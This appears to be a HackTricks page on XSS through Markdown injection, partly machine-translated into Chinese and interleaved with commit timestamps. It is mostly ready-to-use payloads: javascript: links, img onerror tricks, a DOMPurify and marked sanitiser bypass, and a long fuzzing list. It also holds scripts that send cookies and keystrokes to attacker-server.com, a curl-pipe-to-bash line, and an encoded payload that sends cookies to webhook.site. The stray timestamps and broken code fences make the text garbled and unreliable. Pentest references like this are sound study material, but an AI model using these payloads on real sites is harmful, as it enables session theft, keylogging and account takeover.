2023-08-03 19:12:22 +00:00
# Markdown中的XSS攻击
2022-05-05 23:53:10 +00:00
2022-10-11 12:43:12 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-10-11 12:43:12 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗? 想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-10-11 12:43:12 +00:00
< / details >
2023-08-03 19:12:22 +00:00
如果你有机会在markdown中注入代码, 有几种选项可以触发XSS攻击, 当代码被解释时。
2022-05-05 23:53:10 +00:00
2023-08-03 19:12:22 +00:00
### HTML标签
2022-05-05 23:53:10 +00:00
2023-08-03 19:12:22 +00:00
在markdown中触发XSS攻击最常见的方法是注入执行javascript的常见HTML标签, 因为几个markdown解释器也会接受HTML。
2022-05-05 23:53:10 +00:00
```html
<!-- XSS with regular tags -->
< script > alert ( 1 ) < / script >
< img src = x onerror = alert(1) / >
```
2023-08-03 19:12:22 +00:00
您可以在[hacktricks的主要XSS页面](./)中找到更多示例。
2022-05-05 23:53:10 +00:00
2023-08-03 19:12:22 +00:00
### JavaScript链接
2022-05-05 23:53:10 +00:00
2023-08-03 19:12:22 +00:00
如果HTML标签不可用, 您可以尝试使用markdown语法进行操作:
2022-05-05 23:53:10 +00:00
```html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a ](javascript:prompt(document.cookie ))
<!-- Other links attacks with some bypasses -->
[Basic ](javascript:alert('Basic' ))
[Local Storage ](javascript:alert(JSON.stringify(localStorage )))
[CaseInsensitive ](JaVaScRiPt:alert('CaseInsensitive' ))
[URL ](javascript://www.google.com%0Aalert('URL' ))
[In Quotes ]('javascript:alert("InQuotes" )')
[a ](j a v a s c r i p t:prompt(document.cookie ))
[a ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )
[a ](javascript:window.onerror=alert;throw%201 )
```
2023-08-03 19:12:22 +00:00
### Img事件语法滥用
The `img` tag in HTML allows the inclusion of images in a webpage. However, it also supports an `onerror` event attribute that can be exploited for cross-site scripting (XSS) attacks.
By injecting malicious code into the `onerror` attribute, an attacker can execute arbitrary JavaScript code when the image fails to load. This can be used to steal sensitive information, perform phishing attacks, or deface the website.
To exploit this vulnerability, an attacker can craft a URL that includes the payload within the `onerror` attribute. When the image fails to load, the payload will be executed.
For example, consider the following code:
```html
< img src = "https://example.com/image.jpg" onerror = "alert('XSS payload')" >
```
2022-05-05 23:53:10 +00:00
2023-08-03 19:12:22 +00:00
In this case, if the image fails to load, the `alert` function will be executed, displaying the message "XSS payload" to the user.
2022-05-05 23:53:10 +00:00
2023-08-03 19:12:22 +00:00
To prevent this type of attack, it is important to properly validate and sanitize user input, especially when it is used to generate dynamic content on a webpage. Additionally, Content Security Policy (CSP) headers can be implemented to restrict the execution of inline scripts and mitigate the risk of XSS attacks.
2022-05-05 23:53:10 +00:00
```markdown
![Uh oh... ]("onerror="alert('XSS' ))
![Uh oh... ](https://www.example.com/image.png"onload="alert('XSS' ))
![Escape SRC - onload ](https://www.example.com/image.png"onload="alert('ImageOnLoad' ))
![Escape SRC - onerror ]("onerror="alert('ImageOnError' ))
```
### HTML Sanitiser Markdown Bypass
2023-08-03 19:12:22 +00:00
以下代码是对HTML输入进行**清理**, 然后将其传递给markdown解析器, 从而可以通过Markdown和DOMPurify之间的误解来触发XSS。
2022-05-05 23:53:10 +00:00
```html
< script src = "https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js" > < / script >
< script src = "https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js" > < / script >
< script >
const qs = new URLSearchParams(location.search);
if (qs.get("content")?.length > 0) {
2023-08-03 19:12:22 +00:00
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
2022-05-05 23:53:10 +00:00
}
< / script >
```
2023-08-03 19:12:22 +00:00
负载示例:
```markdown
# Alert Payload
This payload will display an alert box with the message "XSS Attack".
```html
< script > alert ( "XSS Attack" ) ; < / script >
```
2022-05-05 23:53:10 +00:00
2023-08-03 19:12:22 +00:00
# Cookie Theft Payload
This payload will steal the user's cookies and send them to an attacker-controlled server.
2022-05-05 23:53:10 +00:00
2023-08-03 19:12:22 +00:00
```html
< script > document . location = 'http://attacker-server.com/steal.php?cookie=' + document . cookie ; < / script >
```
# Keylogger Payload
This payload will log all keystrokes made by the user and send them to an attacker-controlled server.
```html
< script > document . onkeydown = function ( e ) { e = e || window . event ; var key = e . keyCode || e . which ; var char = String . fromCharCode ( key ) ; new Image ( ) . src = 'http://attacker-server.com/log.php?k=' + char ; } < / script >
```
# Remote Code Execution Payload
This payload will execute arbitrary code on the victim's machine.
```html
< script > require ( 'child_process' ) . exec ( 'curl http://attacker-server.com/malicious-script.sh | bash' ) ; < / script >
```
# Phishing Payload
This payload will redirect the user to a phishing page that looks like a legitimate website.
```html
< script > document . location = 'http://attacker-server.com/phishing-page.html' ; < / script >
```
```
2022-05-05 23:53:10 +00:00
```html
< div id = "1
![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
-----------------------------------------------
< a title = "a
< img src = x onerror = alert(1) > ">yep< / a >
------------------------------------------------
[x ](y '<style>' )<!--</style><div id="x--> < img src = 1 onerror = alert(1) > "></ div >
----------------------------------------------
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))> ](#'></p> )
----------------------------------------------
2022-05-18 23:05:43 +00:00
`<p x="` < img src = x onerror = alert(1) > "></ p >
2022-05-05 23:53:10 +00:00
```
2023-08-03 19:12:22 +00:00
### Fuzzing( 模糊测试)
2022-05-05 23:53:10 +00:00
2023-08-03 19:12:22 +00:00
Fuzzing( 模糊测试) 是一种自动化的测试技术, 用于发现应用程序中的漏洞。它通过向目标应用程序输入大量的随机、无效或异常数据, 来测试应用程序的鲁棒性和安全性。Fuzzing( 模糊测试) 可以帮助发现各种漏洞, 包括跨站脚本攻击( XSS) 。
2022-05-05 23:53:10 +00:00
2023-08-03 19:12:22 +00:00
在Web应用程序中, XSS是一种常见的安全漏洞, 攻击者可以通过注入恶意脚本来利用该漏洞。为了发现XSS漏洞, 可以使用Fuzzing( 模糊测试) 技术来模拟各种输入情况, 包括特殊字符、HTML标签和JavaScript代码。通过观察应用程序的响应, 可以确定是否存在XSS漏洞。
Fuzzing( 模糊测试) 是一种强大的工具, 可以帮助发现应用程序中的安全漏洞。然而, 它并不能保证找到所有的漏洞, 因此在进行Fuzzing( 模糊测试) 时, 还应该结合其他测试技术和安全最佳实践来提高应用程序的安全性。
2022-05-05 23:53:10 +00:00
```html
2023-08-03 19:12:22 +00:00
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
2022-05-05 23:53:10 +00:00
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
-->
[a ](javascript:prompt(document.cookie ))
[a ](j a v a s c r i p t:prompt(document.cookie ))
![a ](javascript:prompt(document.cookie ))\
< javascript:prompt ( document . cookie ) >
< & #x6A& #x61& #x76& #x61& #x73& #x63& #x72& #x69& #x70& #x74& #x3A& #x61& #x6C& #x65& #x72& #x74& #x28& #x27& #x58& #x53& #x53& #x27& #x29>
![a ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )\
[a ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )
[a ](javascript:alert('XSS') )
![a'"`onerror=prompt(document.cookie) ](x )\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious ](javascript:window.onerror=alert;throw%20document.cookie )
[test ](javascript://%0d%0aprompt(1 ))
[test ](javascript://%0d%0aprompt(1 );com)
[notmalicious ](javascript:window.onerror=alert;throw%20document.cookie )
[notmalicious ](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie )
[a ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )
[clickme ](vbscript:alert(document.domain ))
2023-08-03 19:12:22 +00:00
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/哦%20不! /.source));return(false);//
2022-05-05 23:53:10 +00:00
< http: // \<meta \ http-equiv = \"refresh \"\ content= \"0; \ url=http://danlec.com/ \"\>>
[text ](http://danlec.com " [@danlec](/danlec ) ")
[a ](javascript:this;alert(1 ))
[a ](javascript:this;alert(1) )
[a ](javascript:this;alert(1) )
[a ](Javascript:alert(1) )
[a ](Javas%26%2399;ript:alert(1) )
[a ](javascript:alert(1) )
[a ](javascript:confirm(1 )
[a ](javascript://www.google.com%0Aprompt(1 ))
[a ](javascript://%0d%0aconfirm(1 );com)
[a ](javascript:window.onerror=confirm;throw%201 )
[a ]( javascript:alert(document.domain) )
[a ](javascript://www.google.com%0Aalert(1 ))
[a ]('javascript:alert("1" )')
[a ](JaVaScRiPt:alert(1 ))
![a ](https://www.google.com/image.png"onload="alert(1 ))
![a ]("onerror="alert(1 ))
< /http://< ?php\>< \h1 \>< script:script > confirm(2)
[XSS ](.alert(1 );)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]] )
[ ](http://a?p=[[/onclick=alert(0 ) .]])
[a ](javascript:new%20Function`al\ert\`1\``; )
[XSS ](javascript:prompt(document.cookie ))
[XSS ](j a v a s c r i p t:prompt(document.cookie ))
[XSS ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )
[XSS ](javascript:alert('XSS') )
[XSS]: (javascript:prompt(document.cookie))
[XSS ](javascript:window.onerror=alert;throw%20document.cookie )
[XSS ](javascript://%0d%0aprompt(1 ))
[XSS ](javascript://%0d%0aprompt(1 );com)
[XSS ](javascript:window.onerror=alert;throw%20document.cookie )
[XSS ](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie )
[XSS ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )
[XSS ](vbscript:alert(document.domain ))
[XSS ](javascript:this;alert(1 ))
[XSS ](javascript:this;alert(1) )
[XSS ](javascript:this;alert(1) )
[XSS ](Javascript:alert(1) )
[XSS ](Javas%26%2399;ript:alert(1) )
[XSS ](javascript:alert(1) )
[XSS ](javascript:confirm(1 )
[XSS ](javascript://www.google.com%0Aprompt(1 ))
[XSS ](javascript://%0d%0aconfirm(1 );com)
[XSS ](javascript:window.onerror=confirm;throw%201 )
[XSS ](<EFBFBD> javascript:alert(document.domain) )
![XSS ](javascript:prompt(document.cookie ))\
![XSS ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )\
![XSS'"`onerror=prompt(document.cookie) ](x )\
```
2022-10-11 12:43:12 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 推特 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-10-11 12:43:12 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗? 想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-10-11 12:43:12 +00:00
< / details >